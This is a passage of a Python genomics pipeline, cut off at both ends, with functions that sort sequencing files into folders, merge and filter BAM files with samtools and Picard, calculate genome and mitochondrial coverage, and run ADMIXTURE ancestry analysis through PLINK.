desired text to match at the start of files. True boolean is not accepted - a sample name (or list of names) must be specified\n    This parameter is exclusive to use with NextSeq data and files should be in the form \"foo_Sxx_Lxxx*\" in order to identify each sample correctly.\n\n    :param copy:\n    (boolean)   Whether to copy (True) or move files (False)\n\n    :param singleFolder:\n    (boolean-False)\n    (string)    Boolean or string with desired text for folder name. True bollean is not accepted - a folder name must be specified\n\n    :param asRegex:\n    (boolean)   Whether the input strings are in regular expression format or not. False by default, matching string literals instead\n\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< BATCHMOVING - Moving specific files to new folder(s) >\")\n    fout.write(\"\\n< BATCHMOVING - Moving specific files to new folder(s) >\")\n\n    ## Argument checking\n    if byExtension == False and bySample == False and singleFolder == False:\n        print(\"\\t> ERROR: Please check your arguments. No input was provided, all arguments set as False.\")\n        exit()\n    if byExtension != False or bySample != False or singleFolder != False:\n        if byExtension == True or bySample == True or singleFolder == True:\n            print(\n                \"\\t> ERROR: Please check your arguments. 'byExtension', 'bySample', and 'singleFolder' must not be given the boolean True.\")\n            exit()\n        paddy1 = 0\n        if type(byExtension) != str and byExtension != False:\n            paddy1 += 1\n        if type(bySample) != str and bySample != False:\n            paddy1 += 1\n        if type(singleFolder) != str and singleFolder != False:\n            paddy1 += 1\n        if paddy1 != 0:\n            print(\n                \"\\t> ERROR: Please check your arguments. 'byExtension', 'bySample', and 'singleFolder' must either be False or a string.\")\n            exit()\n\n    ## Checking if multiple input exists for byExtension and/or bySample, recognized by separator '/'\n    if type(byExtension) == str and \"/\" in byExtension:\n        # byExtension = byExtension.split(\"/\")\n        print(\"A =\", byExtension)\n        byExtension = re.split(\"/\", byExtension)\n        print(\"B =\", byExtension)\n        # byExtension[0] = byExtension[0].replace(r\"\\\\\\\\\",\"\")\n        print(\"C =\", byExtension)\n        print(\"ByExt0:\", repr(byExtension))\n\n    elif byExtension != False:\n        # print(byExtension)\n        byExtension = [byExtension]\n        print(\"ByExt1:\", byExtension)\n\n    if type(bySample) == str and \"/\" in bySample:\n        bySample = bySample.split(\"/\")\n        print(\"BySample1:\", bySample)\n    elif bySample != False:\n        bySample = [bySample]\n        print(bySample)\n\n        # print(re.compile(byExtension[0]))\n\n        # a = \"abc.abc.abc\"\n        # b = r\"abc.abc.abc\"\n        # c = re.escape(\"abc.abc.abc\")\n        # print(a)\n        # print(b)\n        # print(c)\n        # print(re.escape(\"abc.abc/abc\"))\n\n    ## For bySample = False and byExtension = string (single or multi)\n    ## Search for files with desired extensions and add to dictionary with key as the file and value as the extension\n    if bySample == False and byExtension != False:\n        fileExtDic = {}\n        for i in os.listdir(cwd):\n            if len(byExtension) == 1:\n                if re.search(byExtension[0] + \"$\", i) != None and os.path.isdir(i) != True:\n                    fileExtDic[i] = byExtension[0]\n            elif len(byExtension) > 1:\n                for q in byExtension:\n                    if re.search(q + \"$\", i) != None and os.path.isdir(i) != True:\n                        print(q)\n                        q = q.replace(\"\\.\", \".\")\n                        print(q)\n                        fileExtDic[\n                            i] = q  ###### ???? Maybe not anymore #### PROBLEM HERE, NEED TO FIND A WAY TO TAKE THE '\\' AND ANY CONSEadaIVE CHARACTER FROM STRING. SHOULD BE OK USING THE INDEX FOR THE POSITION OF THE '\\' AND THEN +1\n\n        ## Creating new folder(s)\n        if type(singleFolder) == str:  ## Creating single folder\n            newdir = cwd + '/' + singleFolder\n            if singleFolder in os.listdir(cwd):\n                pass\n            else:\n                os.mkdir(newdir)\n        elif singleFolder == False:  ## Creating one folder per extension\n            if len(byExtension) == 1:\n                newdir = cwd + '/' + byExtension[0]\n                if byExtension[0] in os.listdir(cwd):\n                    pass\n                else:\n                    os.mkdir(newdir)\n            elif len(byExtension) > 1:\n                for q in byExtension:\n                    newdir = cwd + '/' + q\n                    if q in os.listdir(cwd):\n                        pass\n                    else:\n                        os.mkdir(newdir)\n\n        print(fileExtDic)\n        ## Moving or copying files\n        ## Move all to one single folder specified in singleFolder argument\n        if singleFolder != False and type(singleFolder) is str:\n            newdir = cwd + '/' + singleFolder\n            for i in fileExtDic:\n                if copy == False:  ## Move files\n                    print('mv -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                    os.system('mv -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                else:  ## Copy files\n                    print('cp -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                    os.system('cp -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n        else:  ## Move to folder specified in byExtension\n            for i in fileExtDic:\n                if copy == False:  ## Move files\n                    print('mv -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + fileExtDic[i] + '/')\n                    os.system('mv -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + fileExtDic[i] + '/')\n                else:  ## Copy files\n                    print('cp -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + fileExtDic[i] + '/')\n                    os.system('cp -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + fileExtDic[i] + '/')\n\n\n\n                    ## For bySample = string (single or multi) and byExtension = False\n                    ## For automatically moving all files from each sample to individual folders\n    ## Searches for files from the desired sample(s) and add to dictionary with key as the file and value as the sample name\n    if bySample != False and byExtension == False:\n        sampleDic = {}\n        for i in os.listdir(cwd):\n            if len(bySample) == 1:\n                if re.search(\"^\" + bySample[0], i) != None and os.path.isdir(i) != True:\n                    sampleDic[i] = bySample[0]\n            elif len(bySample) > 1:\n                for q in bySample:\n                    stri = \"^\" + q + \"(?=_S\\d\\d_L\\d\\d)\"\n                    if re.search(stri, i) != None and os.path.isdir(i) != True:\n                        sampleDic[i] = q\n\n        ## Creating new folder(s)\n        if type(singleFolder) == str:  ## Creating single folder\n            newdir = cwd + '/' + singleFolder\n            if singleFolder in os.listdir(cwd):\n                pass\n            else:\n                os.mkdir(newdir)\n        elif singleFolder == False:  ## Creating one folder per sample\n            if len(bySample) == 1:\n                newdir = cwd + '/' + bySample[0]\n                if bySample[0] in os.listdir(cwd):\n                    pass\n                else:\n                    os.mkdir(newdir)\n            elif len(bySample) > 1:\n                for q in bySample:\n                    newdir = cwd + '/' + q\n                    if q in os.listdir(cwd):\n                        pass\n                    else:\n                        os.mkdir(newdir)\n\n                        ## Moving or copying files\n                        ## Move all to one single folder specified in singleFolder argument\n        if singleFolder != False and type(singleFolder) is str:\n            newdir = cwd + '/' + singleFolder\n            for i in sampleDic:\n                if copy == False:  ## Move files\n                    print('mv -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                    # os.system('mv -b -f '+cwd+'/'+i+' '+newdir+'/')\n                else:  ## Copy files\n                    print('cp -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                    # os.system('cp -b -f '+cwd+'/'+i+' '+newdir+'/')\n        else:  ## Move to individual folder specified in byExtension\n            for i in sampleDic:\n                if copy == False:  ## Move files\n                    print('mv -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + sampleDic[i] + '/')\n                    # os.system('mv -b -f '+cwd+'/'+i+' '+cwd+'/'+sampleDic[i]+'/')\n                else:  ## Copy files\n                    print('cp -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + sampleDic[i] + '/')\n                    # os.system('cp -b -f '+cwd+'/'+i+' '+cwd+'/'+sampleDic[i]+'/')\n\n        print(sampleDic)\n\n    ## For bySample and byExtension\n    if bySample != False and byExtension != False:\n        sampleDic = {}\n        for i in os.listdir(cwd):\n            if len(bySample) == 1:\n                if re.search(\"^\" + bySample[0], i) != None and os.path.isdir(i) != True:\n                    sampleDic[i] = bySample[0]\n            elif len(bySample) > 1:\n                for q in bySample:\n                    stri = \"^\" + q + \"(?=_S\\d\\d_L\\d\\d)\"\n                    if re.search(stri, i) != None and os.path.isdir(i) != True:\n                        print(i)\n                        for o in byExtension:\n                            strin = o + \"$\"\n                            print(strin)\n                            print(i)\n                            if re.search(strin, i) != None:\n                                sampleDic[i] = q\n\n        ## Creating new folder(s)\n        if type(singleFolder) == str:  ## Creating single folder\n            newdir = cwd + '/' + singleFolder\n            if singleFolder in os.listdir(cwd):\n                pass\n            else:\n                os.mkdir(newdir)\n        elif singleFolder == False:  ## Creating one folder per sample\n            if len(bySample) == 1:\n                newdir = cwd + '/' + bySample[0]\n                if bySample[0] in os.listdir(cwd):\n                    pass\n                else:\n                    os.mkdir(newdir)\n            elif len(bySample) > 1:\n                for q in bySample:\n                    newdir = cwd + '/' + q\n                    if q in os.listdir(cwd):\n                        pass\n                    else:\n                        os.mkdir(newdir)\n\n                        ## Moving or copying files\n                        ## Move all to one single folder specified in singleFolder argument\n        if singleFolder != False and type(singleFolder) is str:\n            newdir = cwd + '/' + singleFolder\n            for i in sampleDic:\n                if copy == False:  ## Move files\n                    print('mv -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                    os.system('mv -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                else:  ## Copy files\n                    print('cp -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n                    os.system('cp -b -f ' + cwd + '/' + i + ' ' + newdir + '/')\n        else:  ## Move to individual folder specified in byExtension\n            for i in sampleDic:\n                if copy == False:  ## Move files\n                    print('mv -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + sampleDic[i] + '/')\n                    os.system('mv -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + sampleDic[i] + '/')\n                else:  ## Copy files\n                    print('cp -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + sampleDic[i] + '/')\n                    os.system('cp -b -f ' + cwd + '/' + i + ' ' + cwd + '/' + sampleDic[i] + '/')\n\n        print(sampleDic)\n\n\ndef mergeBams(sample_id=\"Output\", qualThreshold = 30, version = \"1.3.1\", samtoolsOrGATK=\"samtools\"):\n    \"\"\"\n    Merges **ALL** rmdup bam files in folder.\n\n    Input:\n    Foo1.q30.rmdup.bam\n    Foo2.q30.rmdup.bam\n    Foo3.q30.rmdup.bam\n\n    Output:\n    Foo_merged.q30.rmdup.bam\n    Foo_merged.q30.rmdup.bai\n\n    :param sample_id:\n    (string)    Identifier for output file. \"Output\" if none provided.\n\n    :param qualThreshold:\n    (int)   Quality score (QC) filter for the newly merged files. Default = 30.\n\n    :param version:\n    (str)   Samtools' version, either 0.1.x or 1.x.x.\n\n    :param samtoolsOrGATK:\n    (string)    Use SAMTOOLS or GATK to merge the files. Accepts \"samtools\" and \"gatk\"/\"GATK\".\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< MERGEBAMS - Merging all bam files in current folder >\")\n    fout.write(\"\\n< MERGEBAMS - Merging all bam files in current folder >\")\n\n    bamList = []\n    for i in os.listdir(cwd):\n        if '.rmdup.bam' == i[-10:]:\n            bamList.append(i)\n\n    qualThreshold = str(qualThreshold)\n\n    command = \"picard.jar MergeSamFiles \"\n    if len(bamList) != 0:\n        print(\"\\t> Merging all bam files for sample with id \" + sample_id + \" and sorting\")\n        fout.write(\"\\n\\n\\t> Merging all bam files for sample with id \" + sample_id + \" and sorting\")\n        for i in bamList:\n            command = command + \"I=\" + i + \" \"\n    command = command + \"O=\" + sample_id + \"_merged.q00.bam USE_THREADING=True\"\n    print(command)\n    os.system(command)\n    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + command)\n\n    for i in os.listdir(cwd):\n        if \"_merged.q00.bam\" == i[-15:]:\n            print(\"\\tsamtools index \" + i)\n            os.system(\"samtools index \" + i)\n\n            if version[0:3] == \"0.1\":\n                sample_id_loc = i[:-4]\n                print(\"\\t\" + 'samtools sort ' + i + ' ' + sample_id_loc + '.sort' + \"\\n\")\n                os.system('samtools sort ' + i + ' ' + sample_id_loc + '.sort')\n\n            if version[0:2] == \"1.\":\n                sample_id_loc = i[:-4]\n                print(\"\\t\" + 'samtools sort ' + i + ' -o ' + sample_id_loc + '.sort.bam' + \"\\n\")\n                os.system('samtools sort ' + i + ' -o ' + sample_id_loc + '.sort.bam')\n\n            newI = sample_id_loc + '.sort.bam'\n\n            print(\"\\tsamtools index \" + newI)\n            os.system(\"samtools index \" + newI)\n\n            print(\"\\tsamtools view -q \" + qualThreshold + \" -b \" + newI + \" | samtools rmdup -s \" + newI + \" \" + sample_id + \"_merged.q\" + qualThreshold + \".rmdup.bam\")\n            os.system(\"samtools view -q \" + qualThreshold + \" -b \" + newI + \" | samtools rmdup -s \" + newI + \" \" + sample_id + \"_merged.q\" + qualThreshold + \".rmdup.bam\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools view -q \" + qualThreshold + \" -b \" + newI + \" | samtools rmdup -s \" + newI + \" \" + sample_id + \"_merged.q\" + qualThreshold + \".rmdup.bam\")\n\n            newI2_full = sample_id + \"_merged.q\" + qualThreshold + \".rmdup.bam\"\n            newI2 = sample_id + \"_merged.q\" + qualThreshold\n            newI3 = sample_id + \"_merged\"\n\n            print(\"\\tsamtools flagstat \" + newI2_full + \" > \" + newI2 + \".summary.txt\")\n            os.system(\"samtools flagstat \" + newI2_full + \" > \" + newI2 + \".summary.txt\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools flagstat \" + newI2_full + \" > \" + newI2 + \".summary.txt\")\n            print(\"\\tsamtools index \" + newI2_full + \" \" + newI2_full + \".bai\")\n            os.system(\"samtools index \" + newI2_full + \" > \" + newI2_full + \".bai\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools index \" + newI2_full + \" > \" + newI2_full + \".bai\")\n            print(\"\\tsamtools idxstats \" + newI2_full + \" > \" + newI3 + \".chr.txt\")\n            os.system(\"samtools idxstats \" + newI2_full + \" > \" + newI3 + \".chr.txt\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools idxstats \" + newI2_full + \" > \" + newI3 + \".chr.txt\")\n\n\ndef coverage(contigFileLocation):\n    \"\"\"\n    Calculates coverage for all *.bam files with removed duplicates in folder, returning the values in the terminal and in \"Coverages.txt\".\n    Requires contig size file with the information in the following format:\n    chr1    249250621\n    chr2    243199373\n    (...)\n\n    Input:\n    Foo.q30.rmdup.bam\n    or\n    Bar_merged.q30.rmdup.bam\n\n    Output:\n    Foo_coverage.txt\n\n    :param contigFileLocation:\n    (string)   Path to text file containing contig size information\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< COVERAGE - Assess genome coverage >\")\n    fout.write(\"\\n< COVERAGE - Assess genome coverage >\")\n\n    for i in os.listdir(cwd):\n        if \"_merged\" in i:\n            if re.search(\"_merged\\.q..\\.rmdup\\.bam$\", i) != None:\n            #if \"_merged.q30.rmdup.bam\" == i[-21:]:\n                sample_id, sep, rest = i.partition(\"_merged.\")\n                print(\"\\t> Creating file with coverage depths for \" + sample_id)\n                fout.write(\"\\n\\n\\t> Creating file with coverage depths for \" + sample_id)\n                print(\n                    \"\\tgenomeCoverageBed -ibam \" + i + \" -g \" + contigFileLocation + \" > \" + sample_id + \"_coverage.txt\")\n                os.system(\n                    \"genomeCoverageBed -ibam \" + i + \" -g \" + contigFileLocation + \" > \" + sample_id + \"_coverage.txt\")\n                fout.write(time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"genomeCoverageBed -ibam \" + i + \" -g \" + contigFileLocation + \" > \" + sample_id + \"_coverage.txt\")\n            else:\n                pass\n        elif re.search(\"\\.q..\\.rmdup\\.bam$\", i) != None and \"merge\" not in i:\n        #elif \".q30.rmdup.bam\" == i[-14:] and \"merge\" not in i:\n            #sample_id, sep, rest = i.partition(\".q30\")\n            sample_id, rest = re.split('\\.q..', i)\n            sep = re.findall('\\.q..', i)[0]\n\n            print(\"\\t> Creating file with coverage depths for \" + sample_id)\n            fout.write(\"\\n\\n\\t> Creating file with coverage depths for \" + sample_id)\n            print(\"\\tgenomeCoverageBed -ibam \" + i + \" -g \" + contigFileLocation + \" > \" + sample_id + \"_coverage.txt\")\n            os.system(\n                \"genomeCoverageBed -ibam \" + i + \" -g \" + contigFileLocation + \" > \" + sample_id + \"_coverage.txt\")\n            fout.write(time.strftime(\n                \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"genomeCoverageBed -ibam \" + i + \" -g \" + contigFileLocation + \" > \" + sample_id + \"_coverage.txt\")\n\n    for i in os.listdir(cwd):\n        if \"_coverage.txt\" in i:\n            coverages = open(\"Coverages.txt\", \"w\")\n            coverages.write(\"Sample\\tGenome Covered\\tGenome Depth\\tMT covered\\tMT Depth\\n\")\n\n    for i in os.listdir(cwd):\n        ## Check coverage for whole genome\n        if \"_coverage.txt\" in i:\n            sample_id, sep, rest = i.partition(\"_coverage\")\n            print(\"\\n\\t> Calculating coverage depths for \" + sample_id + \" from \" + i)\n            fout.write(\"\\n\\n\\t> Calculating coverage depths for \" + sample_id + \" from \" + i)\n            coverFile = open(i, \"r\")\n            prod1 = 0\n            sum2 = 0\n            for line in coverFile:\n                if \"genome\" in line:\n                    chromo, depth, numb, length, perc = line.split(\"\\t\")\n                    if depth == \"0\":\n                        genomeCovered = \"%.2f\" % float((1 - float(perc)) * 100)\n                    prod1 = prod1 + (float(depth) * float(numb))\n                    sum2 = sum2 + float(numb)\n            genCovDepthFinal = float(prod1) / float(sum2)\n            genCovDepthFinal = \"{0:.4f}\".format(float(genCovDepthFinal))\n            if float(genCovDepthFinal) < 0.0001:\n                genCovDepthFinal = \"Below 0.0001\"\n            print(\"\\tGenome covered: \" + genomeCovered + \"%\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"Genome covered: \" + genomeCovered + \"%\")\n            print(\"\\tGenome coverage depth: \" + genCovDepthFinal + \"X\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"Genome coverage depth: \" + genCovDepthFinal + \"X\")\n\n            ## Check coverage for mitochondrial genome\n            coverFile.seek(0)\n            prodMT = 0\n            sumMT = 0\n            mtCovered = 0\n            for line in coverFile:\n                if \"chrM\" in line:\n                    chromo, depth, numb, length, perc = line.split(\"\\t\")\n                    if depth == \"0\":\n                        mtCovered = \"%.2f\" % float((1 - float(perc)) * 100)\n                    prodMT = prodMT + (float(depth) * float(numb))\n                    sumMT = sumMT + float(numb)\n\n            if sumMT >0:\n                mtCovDepthFinal = float(prodMT) / float(sumMT)\n            else:\n                mtCovDepthFinal = 0\n            mtCovDepthFinal = \"{0:.4f}\".format(float(mtCovDepthFinal))\n            if float(mtCovDepthFinal) < 0.0001:\n                mtCovDepthFinal = \"Below 0.0001\"\n            print(\"\\tMT genome covered: \" + str(mtCovered) + \"%\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tMT genome covered: \" + str(mtCovered) + \"%\")\n            print(\"\\tMT coverage depth: \" + mtCovDepthFinal + \"X\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tMT coverage depth: \" + mtCovDepthFinal + \"X\")\n            coverages.write(\n                sample_id + \"\\t\" + genomeCovered + \"%\\t\" + genCovDepthFinal + \"X\\t\" + str(mtCovered) + \"%\\t\" + mtCovDepthFinal + \"X\\n\")\n\n\ndef admix(range_of_k_low, range_of_k_high, reorder=False):\n    \"\"\"\n    Estimates ancestry in a model-based manner from large autossomal SNP datasets, using software ADMIXTURE.\n    K-value must be specified. If one value only, cross-validation is automatically disabled.\n\n    Input:\n    Foo.bed\n    (Foo.bim)\n    (Foo.fam)\n\n\n    Output:\n    Foo.ancestry2.txt\n    Foo.2.Q\n    Foo.2.P\n\n    :param range_of_k_low:\n    (int)   Integer lower range value for K.\n\n    :param range_of_k_high:\n    (int)   Integer upper range value for K.\n\n    :param reorder:\n    (boolean)   FALSE if reordering of the individual to the end of the file is not wanted.\n    (string)    Path to the text file containing the order of the individuals.\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< ADMIXTURE - Estimate ancestry >\")\n    fout.write(\"\\n< ADMIXTURE - Estimate ancestry >\")\n\n    ## Checks if \"bin4pca\" folder already exists. Abortes if it doesn't\n    if \"bin4pca\" in os.listdir(cwd):\n        pass\n    else:\n        print(\"\\t> ERROR: No 'bin4pca' folder found in directory, possible binary PLINK files inexistent. Aborting.\")\n        fout.write(\n            \"\\n\\t> ERROR: No 'bin4pca' folder found in directory, possible binary PLINK files inexistent. Aborting.\")\n        quit()\n\n    ## Checks files and creates list of samples and list of files\n    cwdBIN = cwd + \"/bin4pca\"\n    samples_list = []\n    files_list = []\n    for i in os.listdir(cwdBIN):\n        if \"mergedex.bed\" == i[-12:]:\n            sample_id, sep, rest = i.partition(\"mergedex\")\n            if sample_id not in samples_list:\n                samples_list.append(sample_id)\n                files_list.append(i)\n        elif \"-merge.bed\" == i[-10:]:\n            sample_id, sep, rest = i.partition(\"-merge\")\n            if sample_id not in samples_list:\n                samples_list.append(sample_id)\n                files_list.append(i)\n\n    ## If no input files, aborts here. Of they exist but folder \"admix\" does not, creates it\n    if len(files_list) != 0 and \"admix\" not in os.listdir(cwdBIN):\n        os.makedirs(cwdBIN + \"/admix\")\n    elif len(samples_list) == 0:\n        print(\"\\t> ERROR: No input 'mergedex.bed' or '-merge.bed' files found in 'bin4pca' directory. Aborting.\")\n        fout.write(\"\\n\\t> ERROR: No input 'mergedex.bed' or '-merge.bed' files found in 'bin4pca' directory. Aborting.\")\n        quit()\n\n    ## Reorder alphabetically and sepparate individuals in *.fam file to put ancient ones at the end.\n    ## And places sample at the end of the list.\n    if isinstance(reorder, str):\n        for i in files_list:\n            if \"mergedex.bed\" == i[-12:] or \"-merge.bed\" == i[-10:]:\n                if \"mergedex.bed\" == i[-12:]:\n                    sample_id, sep, rest = i.partition(\"mergedex\")\n                if \"-merge.bed\" == i[-10:]:\n                    sample_id, sep, rest = i.partition(\"-merge\")\n                try:\n                    test = open(cwdBIN + \"/\" + sample_id + sep + \".bim\", \"r\")\n                    test.close()\n                    test2 = open(cwdBIN + \"/\" + sample_id + sep + \".fam\", \"r\")\n                    test2.close()\n                    print(\"\\t> Copying BED/BIM/FAM files into 'admix' folder...\")\n                    fout.write(\"\\n\\n\\t> Copying BED/BIM/FAM files into 'admix' folder...\")\n                    shutil.copy2(cwdBIN + \"/\" + sample_id + sep + \".fam\", cwdBIN + \"/admix/\" + sample_id + sep + \".fam\")\n                    shutil.copy2(cwdBIN + \"/\" + sample_id + sep + \".bim\", cwdBIN + \"/admix/\" + sample_id + sep + \".bim\")\n                    shutil.copy2(cwdBIN + \"/\" + sample_id + sep + \".bed\", cwdBIN + \"/admix/\" + sample_id + sep + \".bed\")\n                    shutil.copy2(reorder, cwdBIN + \"/admix/\" + sample_id + sep + \"_reordered.fam\")\n                    fam_to_reorder = open(cwdBIN + \"/\" + sample_id + sep + \".fam\", \"r\")\n                    reordered_fam = open(cwdBIN + \"/admix/\" + sample_id + sep + \"_reordered.fam\", \"a\")\n                    for line in fam_to_reorder:\n                        if \" \" + sample_id + \" \" not in line:\n                            pass\n                        else:\n                            fam, ind, a, b, c, d = line.split(\" \")\n                            our_line = fam + \"\\t\" + ind + \"\\n\"\n                    reordered_fam.write(our_line)\n                    reordered_fam.close()\n                except FileNotFoundError:\n                    print(\n                        \"\\t> WARNING: '\" + sample_id + sep + \".bim/fam' or 'param: reorder' file not found. Skipping \" + sample_id + \" admixture estimation.\")\n                    fout.write(\n                        \"\\n\\t> WARNING: '\" + sample_id + sep + \".bim/fam' or 'param: reorder' file not found. Skipping \" + sample_id + \" admixture estimation.\")\n\n    ## Do not reorder the individuals in the *.fam file for situations where they come ordered and sepparated (e.g. anc from modern) from the dataset itself.\n    ## Only places sample at the end of the list.\n    elif reorder == False:\n        for i in files_list:\n            if \"mergedex.bed\" == i[-12:] or \"-merge.bed\" == i[-10:]:\n                if \"mergedex.bed\" == i[-12:]:\n                    sample_id, sep, rest = i.partition(\"mergedex\")\n                if \"-merge.bed\" == i[-10:]:\n                    sample_id, sep, rest = i.partition(\"-merge\")\n                try:\n                    test = open(cwdBIN + \"/\" + sample_id + sep + \".bim\", \"r\")\n                    test.close()\n                    test2 = open(cwdBIN + \"/\" + sample_id + sep + \".fam\", \"r\")\n                    test2.close()\n                    print(\"\\t> Copying BED/BIM/FAM files into 'admix' folder...\")\n                    fout.write(\"\\n\\n\\t> Copying BED/BIM/FAM files into 'admix' folder...\")\n                    shutil.copy2(cwdBIN + \"/\" + sample_id + sep + \".fam\", cwdBIN + \"/admix/\" + sample_id + sep + \".fam\")\n                    shutil.copy2(cwdBIN + \"/\" + sample_id + sep + \".bim\", cwdBIN + \"/admix/\" + sample_id + sep + \".bim\")\n                    shutil.copy2(cwdBIN + \"/\" + sample_id + sep + \".bed\", cwdBIN + \"/admix/\" + sample_id + sep + \".bed\")\n                    fam_to_reorder = open(cwdBIN + \"/\" + sample_id + sep + \".fam\", \"r\")\n                    reordered_fam = open(cwdBIN + \"/admix/\" + sample_id + sep + \"_reordered.fam\", \"w\")\n                    for line in fam_to_reorder:\n                        if \" \" + sample_id + \" \" not in line:\n                            fam, ind, a, b, c, d = line.split(\" \")\n                            reordered_fam.write(fam + \"\\t\" + ind + \"\\n\")\n                        else:\n                            fam, ind, a, b, c, d = line.split(\" \")\n                            our_line = fam + \"\\t\" + ind + \"\\n\"\n                    reordered_fam.write(our_line)\n                    reordered_fam.close()\n                except FileNotFoundError:\n                    print(\n                        \"\\t> WARNING: '\" + sample_id + sep + \".bim/fam' not found in current folder. Skipping \" + sample_id + \" admixture estimation.\")\n                    fout.write(\n                        \"\\n\\t> WARNING: '\" + sample_id + sep + \".bim/fam' not found in current folder. Skipping \" + sample_id + \" admixture estimation.\")\n\n    admixfolder = cwdBIN + \"/admix/\"\n    for i in os.listdir(cwdBIN + \"/admix\"):\n        if \"mergedex.bed\" == i[-12:] or \"-merge.bed\" == i[-10:]:\n            if \"mergedex.bed\" == i[-12:]:\n                sample_id, sep, rest = i.partition(\"mergedex\")\n            if \"-merge.bed\" == i[-10:]:\n                sample_id, sep, rest = i.partition(\"-merge\")\n\n            print(\"\\t> Reordering or placing \" + sample_id + \" at the end of BED/BIM/FAM files...\")\n            fout.write(\"\\n\\n\\t> Reordering or placing \" + sample_id + \" at the end of BED/BIM/FAM files...\")\n\n            test0 = sum(1 for line in open(admixfolder + sample_id + sep + \"_reordered.fam\"))\n            test1 = sum(1 for line in open(admixfolder + sample_id + sep + \".fam\"))\n            if test0 != test1:\n                print(\n                    \"\\t\\t> WARNING: Individuals' order file (*._reordered.fam) does not contain same number of individuals as in *.fam file. Skipping \" + sample_id + \" reordering.\")\n                fout.write(\n                    \"\\n\\t\\t> WARNING: Individuals' order file (*._reordered.fam) does not contain same number of individuals as in *.fam file. Skipping \" + sample_id + \" reordering.\")\n                quit()\n            else:\n                print(\n                    \"plink --bfile \" + cwdBIN + \"/admix/\" + sample_id + sep + \" --indiv-sort f \" + cwdBIN + \"/admix/\" + sample_id + sep + \"_reordered.fam --make-bed --out \" + cwdBIN + \"/admix/\" + sample_id + \"_reordered --allow-no-sex\")\n                os.system(\n                    \"plink --bfile \" + cwdBIN + \"/admix/\" + sample_id + sep + \" --indiv-sort f \" + cwdBIN + \"/admix/\" + sample_id + sep + \"_reordered.fam --make-bed --out \" + cwdBIN + \"/admix/\" + sample_id + \"_reordered --allow-no-sex\")\n                fout.write(time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"plink --bfile \" + cwdBIN + \"/admix/\" + sample_id + sep + \" --indiv-sort f \" + cwdBIN + \"/admix/\" + sample_id + sep + \"_reordered.txt --make-bed --out \" + cwdBIN + \"/admix/\" + sample_id + \"_reordered --allow-no-sex\")\n\n    ## Run ADMIXTURE software for all K-values in provided range\n    for i in os.listdir(admixfolder):\n        if \"_reordered.bed\" == i[-14:]:\n            sample_id, sep, rest = i.partition(\"_reordered\")\n            print(\"\\t> Running ADMIXTURE for \" + sample_id + \" with k-interval of \" + str(range_of_k_low) + \"-\" + str(\n                range_of_k_high))\n            fout.write(\n                \"\\n\\n\\t> Running ADMIXTURE for \" + sample_id + \" with k-interval of \" + str(range_of_k_low) + \"-\" + str(\n                    range_of_k_high))\n            os.chdir(admixfolder)\n\n            for s in range(range_of_k_low, range_of_k_high + 1):\n                print(\"admixture --cv \" + i + \" \" + str(s) + \" > \" + sample_id + \"_cv\" + str(s) + \".txt\")\n                os.system(\"admixture --cv \" + i + \" \" + str(s) + \" > \" + sample_id + \"_cv\" + str(s) + \".txt\")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"admixture --cv \" + i + \" \" + str(\n                    s) + \" > \" + sample_id + \"_cv\" + str(s) + \".txt\")\n\n    ## Open CV text files and scavenge K probability values\n    print(\"\\n\\t> Collecting cross-validation error probabilities into 'Admix_CV.txt'\")\n    fout.write(\"\\n\\n\\t> Collecting cross-validation error probabilities into 'Admix_CV.txt'\")\n    probs_list = {}\n    samples_list2 = []\n    for i in os.listdir(admixfolder):\n        for s in range(range_of_k_low, range_of_k_high + 1):\n            if \"_cv\" + str(s) + \".txt\" in i:\n                cv_file = open(i, \"r\")\n                sample_id, sep, rest = i.partition(\"_cv\")\n                all_lines = cv_file.readlines()\n                CV_line = [s for s in all_lines if \"CV error (K=\" in s]\n                CV_line = CV_line[0].rstrip()\n                sep, Kvalue, prob = re.split(\"CV error |: \", str(CV_line))\n                Kvalue = Kvalue.strip(\"(\")\n                Kvalue = Kvalue.strip(\")\")\n                probs_list[sample_id + \">>\" + Kvalue] = prob\n                if sample_id not in samples_list2:\n                    samples_list2.append(sample_id)\n\n    cv_out = open(\"Admix_CV\" + \".txt\", \"w\")\n    for i in samples_list2:\n        cv_out.write(\n            \"ADMIXTURE 